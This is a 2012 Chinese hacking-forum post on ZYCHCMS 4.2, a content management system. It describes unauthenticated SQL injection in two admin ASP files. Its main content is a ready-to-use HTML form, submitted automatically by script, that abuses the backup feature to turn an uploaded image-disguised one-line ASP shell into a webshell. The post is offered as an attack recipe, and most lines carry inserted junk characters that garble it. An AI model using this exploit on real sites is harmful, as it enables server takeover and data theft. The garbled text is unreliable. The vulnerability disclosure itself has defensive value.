找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2025|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
: U% V* }0 ?7 A1 ^1 o- B0 p$ {

  _8 ]  s. H% p3 G) ^- _' {
/ Q% ]! }1 O2 @& \8 t0 j2 R4 G- V6 A- _" h, D
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)9 S  D5 w2 v8 b  ?1 w- }4 g! f
①SQL注射漏洞) V2 n' ]$ A! ^( f. S3 Y; j8 e0 F
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp- E) c2 N6 D/ Y3 m7 E  r
漏洞原因:未过滤3 E+ k5 {* ^. ]/ g2 r$ D
漏洞代码:, W! i" B  O3 f
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
2 T4 I% P: N8 P- @. |' [" s! _4 M5 F% B# w 修复方法:在文件开头加入代码! |: _0 |8 I4 Y* c+ E9 N' T/ m+ ~

5 k. \) Z6 ?: T+ p2 V# V0 F2 U! X) b7 X/ Z) Y. J0 |0 k
②后台拿WBSHELL" _" V8 J/ A8 c2 B% E1 C
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
  |! w6 p$ `" Q9 m! e  W  m: K$ E 这里在网上找了一个,改了下,将就着用。
1 p3 \( T2 b) b7 A9 k' n 以下是代码本地提交代码  k% Z/ j) N. f. H, y
# Z+ g+ P/ ^4 W5 i" i( t) M
3 |- J4 e/ A' j% F1 Y$ q
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
6 i. l' l" a% t7 ]* K1 A <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>' S) C  G3 S4 I8 C6 f- p7 O% \
<tr>- X5 R8 o# K$ |' |" f
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>: l, ~' J; e+ x$ v
</tr>' @$ z% \; {# c7 E7 ?. I; z$ t
<tr>
! G7 W  n6 p% s& Y  l$ t; F8 P <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
% P. b: m; T- e* y </span>
0 c& e5 Z( f( G, `8 Y( L5 p. r <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
9 [9 X% H/ u+ }- L <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
/ ]: l3 a: I/ ~ <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>% |8 [1 @) D9 `" q* e
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d( i; E- w9 ]# g2 s, y7 b- X# U
<div align=”left”>
8 f4 f% y" h+ y6 m7 B <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />; C. B+ O2 H- o( q  g
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>5 H1 i# ^% M1 O# s& E7 b
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
. @" @9 _7 a  r$ t2 l5 p% ` </div></td>
- t7 K  t% h$ j( Y+ O4 h! a# I </tr>
1 v: w  P! I( i5 Z- c7 a$ _ <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
" F& @, |# ~3 H0 E+ L) b <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>& W& u5 s5 V+ l3 Q" y, ~
<td class=”td”><div align=”left”>4 b% d: e+ v4 m4 @: k
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
* {8 P, Q. J% s4 ?# q3 A [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>% R$ ?% m: `$ s- j& f' w/ u
</tr>5 v: n3 A. R! N8 t+ |' J1 ^3 g
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
1 _4 j2 s( r/ i1 L0 }1 e( B4 P+ d( k <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>4 v% n6 E, j& |) r' V: a9 n: V# f
<td class=”td”><div align=”left”>
! K+ H% L3 v7 h9 g <input type=”submit” value=”确定备份” class=”btn”
& H& h' N5 q* r) H </div></td>2 @+ c6 b5 t: |- f- T% l' u
</tr>) h) _+ O8 H$ m8 o5 w2 _$ t8 |
</table></td></tr></form>+ ?: U" ]- z; q6 l
</table>
: R0 x9 W3 Y% K' N7 U </td>
! y3 c) C2 f" E( N </tr>$ E  Y3 ~6 m( k8 b8 |( _0 W
</table>
; P/ ]' `8 D5 ?8 U, W9 k3 T6 Y6 N <script>
. V% u/ O6 \6 |% u* ?" c document.all.add.submit();; T# N: B: ~7 D
</script>
9 `4 W3 X& m( J1 l
' I+ m6 o) \' {. [
( j2 j- v# r" |* i5 r6 {: F7 Z( J" s" W+ g3 ]: i

7 I9 O) n- q7 X
$ \. s; z$ B) A7 L4 h7 L! A. I6 X, m

. A5 m4 ~, L* l. e5 p' n
7 u* p6 v( v: i+ ~1 B. i8 m2 u$ h4 V, S
( |6 T5 C) h0 A( C7 R4 [: H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表